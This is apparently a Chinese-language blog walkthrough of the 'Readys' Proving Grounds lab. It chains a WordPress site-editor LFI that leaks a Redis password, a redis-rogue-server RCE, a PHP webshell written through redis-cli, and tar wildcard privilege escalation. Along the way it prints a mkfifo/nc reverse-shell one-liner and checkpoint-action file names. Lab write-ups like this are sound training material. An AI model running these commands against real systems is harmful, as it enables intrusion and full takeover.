Proving Grounds Practice : Readys Walkthrough

 Proving Grounds Practice : Readys Walkthrough


Foothole (立足點 ) :

  • 6379 Port 發現 Redis,使用 PoC 顯示要求權限
  • 80 Port 發現 WordPress 且套件 site-editor 有 LFI 問題
  • 透過 LFI 讀取 redis.conf 裡面的密碼後利用 redis 漏洞進入拿到 shell

PE ( 提權 ) :

  • 現有使用者限制一堆且沒有啥權限,發現通配符提權但利用路徑沒有權限寫入
  • 列舉可寫入目錄後測試在 /opt/redis-files 寫入 php-reverse-shell.php 執行後成功切換使用者 alice
  • alice 直接利用通配符提權後成為 root

注意事項 :

  • Redis 設定檔 redis.conf
  • 有不同帳號就是有梗,試著想各種方式切換使用者
  • Redis 標準利用,通配符標準利用
  • Redis CLI 如何寫入檔案


第一步 Rustscan,└─$ rustscan -a 192.168.207.166 --scripts none --ulimit 5000 | tee rustscan

22、80 與 6379 Port (這是已知的 Redis 預設 Port)



snmp closed,└─$ sudo nmap -sU -p 161 192.168.207.166 | tee snmp       



nmap,└─$ sudo nmap -sCV -A -p 22,80,6379 192.168.207.166 | tee nmap

22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

80/tcp   open  http    Apache httpd 2.4.38 ((Debian))

6379/tcp open  redis   Redis key-value store (果然是 Redis)



參考前兩篇直接 Redis 漏洞利用進去看看

參考 : https://your-it-note.blogspot.com/2024/03/proving-grounds-practice-wombo.html

參考 : https://your-it-note.blogspot.com/2024/03/proving-grounds-practice-blackgate.html

Redis 好用的入侵工具,參考 https://github.com/n0b0dyCN/redis-rogue-server

一樣先將 exp.so、redis-rogue-server.py 下載到同一個路徑然後直些利用

└─$ ./redis-rogue-server.py --rhost 192.168.207.166 --lhost 192.168.45.160

跟之前某個狀況一樣卡在 [ [info] Setting dbfilename... ]



之前是因為卡在 21000 Port 回不來,換成 6379 Port 就過了,這裡一樣換 Port 試試看

6379 Port 一樣卡在同一個地方



80、443、445 都一樣狀況



再跑一次 445 帶上參數 -v 看一下較詳細的內容

發現卡在這一行 [ [->] b'-NOAUTH Authentication required.\r\n ],要求驗證



之前還有用過 nc 直接登入 Redis 試試看看可否登入

一樣顯示認證要求 -NOAUTH Authentication required.



看了一下 Redis 文件,Redis 預設不用帳號密碼,但可以設定驗證模式

預設第一種是僅有密碼驗證,第二種是帳號+密碼驗證

參考 : 6379 - Pentesting Redis | HackTricks | HackTricks

有告知該資訊是需要有效的 cerdential



如果只有設定密碼,預設的帳號就是 "default"

密碼是直接寫在設定檔中,設定檔檔名是 "redis.conf"

使用的字眼是 requirepass "這裡直接寫密碼的明碼"



這句話 [ In cases like this one you will need to find valid credentials to interact with Redis so you could try to brute-force it. ]

意思是說你必須找到有效的驗證或是暴力破解它,先找找看有無有效的驗證真的不行再來爆破


whatweb,└─$ whatweb http://192.168.207.166 | tee whatweb

看到很讚的字眼 "WordPress"



80 /



80 /robots.txt



80 /wp-admin 嘗試弱帳號密碼登入........失敗



一樣先 gobuster 看看,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.207.166 -c -t 150 -x txt,pdf,git,php | tee gobuster

都是 WordPress 相關的路徑沒有特別的



標準作業 wpscan 帶 API Key 掃掃看,└─$ wpscan --url http://192.168.207.166/ -e vp --plugins-detection mixed --api-token SLeabE8apPWHJlKslTsfKJX5Omi3cXffrTFzAsg5CZQ



wpscan 結果優先看 plug-in 的套件

掃完的結果只有一個 site-editor,且直接告知有 LFI 可以利用

https://wpscan.com/vulnerability/4432ecea-2b01-4d5c-9557-352042a57e44



另一個快速掃 WordPress 套件的指令,curl -s -X GET 'http://192.168.207.166/' | grep plugins | awk '{print $2}' | awk '{print $6}' FS='/' | sort -u

也可以看到是套件名稱是 site-editor



直接看看 wpscan 的說明,沒有看到 PoC



換查看 Exploit-DB 44340,https://www.exploit-db.com/exploits/44340



直接提供了 PoC,

http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd



直接利用測試看看,└─$ curl -i http://192.168.207.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

拿到 /etc/passwd 了,發現帳號 alice



另外上面得知若 Redis 有要求驗證會將密碼以明碼的方式寫在 redis.conf 中

一般安裝會在 

 - /opt/bitnami/redis/etc/redis. conf

 - /usr/local/etc/redis.conf

 - /etc/redis/redis.conf



結果檔案在 /etc/redis/redis.conf,└─$ curl -i http://192.168.207.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/redis/redis.conf | tee redis.conf



過濾 requirepass 發現密碼 Ready4Redis?



另外在察看 Redis 相關文件時有發現 kali 有內建 redis-cli 指令,不用再用 nc




這一次直接 redis-cli 帶密碼登入進去看看,└─$ redis-cli -h 192.168.207.166 -a 'Ready4Redis?'

輸入 INFO 直接列出相關資訊了,看來驗證沒有問題


回看 RCE 的利用也可以帶密碼



RCE 漏洞利用,└─$ ./redis-rogue-server.py --rhost 192.168.207.166 --lhost 192.168.45.160 --passwd 'Ready4Redis?' 

這一次過了,一樣選擇 r 拿 Reverse Shell



拿到 Reverse Shell 了



先試著切換我們搜尋到的使用者看看 sudo alice,沒有成功且 /home 都沒有權限




cat /etc/crontab,發現一個 root 權限執行的備份檔 /usr/local/bin/backup.sh

而且現有使用者還有權限執行



看一下 backup.sh 內容,標準的 tar 通配符梗,利用路徑在 /var/www/html



當前使用者對該路徑資料夾沒有寫入權限,所以無法直接利用要另想出路



查看可寫入路徑 redis@readys:/etc/redis$ find / -writable -type d 2>/dev/null



切換到 /opt/redis-files 路徑上傳寫入 php 後門檔案 simple-backdoor.php



然後回到 LFI 的利用看一下權限有沒有不一樣,curl -i http://192.168.207.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/opt/redis-files/simple-backdoor.php?cmd=whoami

檔案路徑沒問題但是執行後失敗



改成上傳 reverse shell 檔案 php-reverse-shell.php



網站直接 LFI 存取,http://192.168.207.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/opt/redis-files/php-reverse-shell.php

拿到新的 Reverse Shell 了,且一連線進來發現 id 是 alice



一樣查看 root 權限執行的 backip.sh 中的通配符利用路徑 /var/www/html 有無權限

發現該資料夾 Owner 就是現有使用者 alice 且可以寫入



通配符標準利用

echo "mkfifo /tmp/lhennp; nc 192.168.45.160 4444 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh

echo "" > "--checkpoint-action=exec=sh shell.sh" 

echo "" > --checkpoint=1



4444 Port Reverse Shell 進來了,whoami & id 看一下確認是 root




補充說明,其實也可以透過 redis-cli 寫入檔案然後執行 nc or python 拿 reverse shell 如下

$ config set dir /opt/redis-files 

$ config set dbfilename cmd.php 

$ set test'<?php system($_GET["cmd"]); ?>' 

$ save



cmd=whoami 看一下是 alice

這裡 cmd 會有作用但是前面 simple-backdoor.php 沒有作用是因為寫入 cmd 指令時不同

可以看上圖是用 <?php system($_GET["cmd"]); ?>



執行 python 拿 Reverse Shell




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

濫用 Windows 庫文件(Library File)

Challenge 0 - Secura(1)